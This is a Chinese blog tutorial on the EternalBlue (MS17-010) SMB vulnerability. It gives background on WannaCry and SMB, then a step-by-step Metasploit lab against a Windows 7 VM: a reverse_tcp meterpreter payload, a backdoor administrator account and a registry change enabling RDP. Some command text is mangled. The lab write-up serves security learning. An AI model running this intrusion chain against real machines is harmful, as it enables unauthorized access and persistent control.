漏洞考古之永恒之蓝原理及利用

2022-12-06 14:14:34 浏览数 (1)

永恒之蓝漏洞利用及攻击

1.基础知识介绍

什么是永恒之蓝漏洞?

代码语言:javascript复制
  永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,
  “永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,
  英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

2.什么是SMB协议?

代码语言:javascript复制
    SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间
    共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,
    SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么?

代码语言:javascript复制
 (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望
 使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

 (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户
 名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

 (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个
 TconX应答数据报以表示此次连接是否接收或拒绝。

 (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过
 close SMB关闭文件。

2.实验环境准备

1.使用kali作为攻击机,windows7(旗舰版)作为靶机,靶机IP地址未知,但kali和靶机均在同一个网段,可ping通

2.kali的地址为自动获取

3.本次实验还可以用到Nessus对靶机系统进行扫描,确认有无永恒之蓝漏洞 4.获取kali自身的IP地址 使用命令 ifconfig,和windows版本不同。windows下查看IP命令为ipconfig

查看如图:

可以看到,kali的IP地址为192.168.219.129 接下来,使用kali命令netdiscover对网络存活主机进行发现

一般情况下,第一个IP地址和最后一个IP地址可能性并不大 5.登录Nessus,对靶机系统进行扫描,确认有无永恒之蓝漏洞

登录进来后,创建一个新扫描

一般选择Basic Network Scan或者Advanced Scan就可以很好的扫描目标系统 创建一个新扫描,输入名称和要扫描IP,进行扫描,扫描将花费几分钟的时间,请耐心等待

6.使用msf对永恒之蓝漏洞进行利用和攻击 在扫描结果发现了如下漏洞,证明其存在永恒之蓝漏洞,可以进行破解(MS17-010为永恒之蓝漏洞编号)

1.在kali下输入命令msfconsole启动msf 如图:出现以下界面则表示启动成功

2.搜索ms17_010:search ms17_010

其中auxil iary/ scanner/ smb/ smb/ms17010为扫描模块,用于对目标是否存在永恒之蓝漏洞进行确认exploit /wi ndows/ smb/ms17 010 eternalblue为攻击模块,用于对存在永恒之蓝漏洞的目标进行攻击

3.使用use auxiliary/scanner/smb/smb_ms17_010模块进行分析

4.使用show options查看模块情况

此时如果不知道应该使用什么命令,则输入options来获得帮助

在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描

5.设置攻击地址,并run运行,提示貌似存在永恒之蓝漏洞(MS17-010)

代码语言:javascript复制
set RHOST 目标IP地址             
run    运行

标红处说明这里貌似存在永恒之蓝漏洞,使用msf这样做也可以达到一个确认是否存在永恒之蓝漏洞的功能

设置攻击模块,并设置攻击IP地址,并run运行

6.输入 use exploit/windows/smb/ms17_010_eternalblue选择攻击模块进行攻击

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

设置监听主机(kali):set lhost kali的IP地址

利用exploit进行攻击:exploit

当出现 meterpreter > 时,则说明攻击成功

漏洞利用

1.显示远程主机系统信息:sysinfo

2.查看用户身份:getuid

3.对远程主机当前屏幕进行截图:screenshot

4.获得shell控制台:shell

5.输入chcp 65001即可消除乱码

6.新建一个用户 名为test,密码为123456,并提升为管理员用户

代码语言:javascript复制
net user test 123456 /add  创建test用户,密码为:123456

代码语言:javascript复制
net localgroup administrators test /add  将test用户拉入管理员组,提升为管理员用户

7.使用REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f2打开被攻击主机远程登录端口

8.在kali中使用rdesktop 目标的ip地址进行远程连接,用户名和密码为刚才新建的test用户

顺利弹出远程连接窗口,输入账号密码

自此,利用永恒之蓝漏洞攻击一台主机就结束了,现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了

0 人点赞